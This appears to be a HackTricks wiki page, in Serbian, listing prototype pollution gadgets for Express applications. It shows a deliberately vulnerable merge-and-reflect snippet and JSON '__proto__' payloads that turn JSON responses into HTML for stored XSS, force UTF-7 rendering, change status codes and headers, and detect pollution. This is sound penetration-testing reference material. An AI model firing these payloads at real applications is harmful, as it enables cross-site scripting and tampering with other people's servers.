Express Prototype Pollution Gadgets
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Serve XSS responses
Za više detalja pogledajte originalno istraživanje
Promenite JSON content-type u HTML
U Express aplikaciji koja koristi JSON content type odgovor i reflektuje JSON:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
U ovim slučajevima XSS obično nije moguć sa JSON tipom sadržaja. Međutim, sa zagađenjem prototipa možemo zbuniti Express da vrati HTML odgovor. Ova ranjivost se oslanja na aplikaciju koja koristi res.send(obj)
i koristi parser tela sa tipom sadržaja application/json.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
Zagađivanjem body
i _body
svojstava, moguće je izazvati da Express servira HTML tip sadržaja i reflektuje _body svojstvo, što rezultira pohranjenim XSS.
Render UTF7
Moguće je naterati express da renderuje UTF-7 sadržaj sa:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Tehnike bezbednog skeniranja
JSON razmaci
Sledeći PP će dodati dodatni razmak unutar atributa u JSON-u koji neće pokvariti funkcionalnost:
{ "__proto__": { "json spaces": " " } }
Tada će reflektovani JSON izgledati ovako:
{"foo": "bar"} -- Note the extra space
Izloženi Headeri
Sledeći PP gadget će naterati server da pošalje HTTP header: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
Zahteva da CORS modul bude instaliran
OPTIONS Metoda
Sa sledećim payload-om, moguće je sakriti metodu iz OPTIONS odgovora:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
Status
Moguće je promeniti vratni status kod koristeći sledeći PP payload:
{ "__proto__": { "status": 510 } }
Greška
Kada dodelite prototipu primitiv kao što je string, to proizvodi no-op operaciju jer prototip mora biti objekat. Ako pokušate da dodelite objekat prototipa samom Object.prototype
, to će izazvati izuzetak. Možemo koristiti ova dva ponašanja da otkrijemo da li je zagađenje prototipa bilo uspešno:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Reflektovana Vrednost
Kada aplikacija uključuje objekat u svoj odgovor, kreiranje atributa sa neobičnim imenom pored __proto__
može biti korisno. Konkretno, ako samo neobični atribut bude vraćen u odgovoru, to može ukazivati na ranjivost aplikacije:
{ "unusualName": "value", "__proto__": "test" }
Pored toga, u scenarijima gde se koristi biblioteka kao što je Lodash, postavljanje svojstva kako putem zagađenja prototipa (PP) tako i direktno unutar objekta nudi još jedan dijagnostički pristup. Ako je takvo svojstvo izostavljeno iz odgovora, to sugeriše da Lodash proverava postojanje svojstva u ciljanom objektu pre nego što ga spoji:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Razno
Dozvoli tačke
Postoji opcija u Express-u koja vam omogućava da kreirate objekte iz parametara upita.
Definitivno je možete koristiti u lancu grešaka za iskorišćavanje ranjivosti zagađenja prototipa.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
kreira objekat u Node.
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.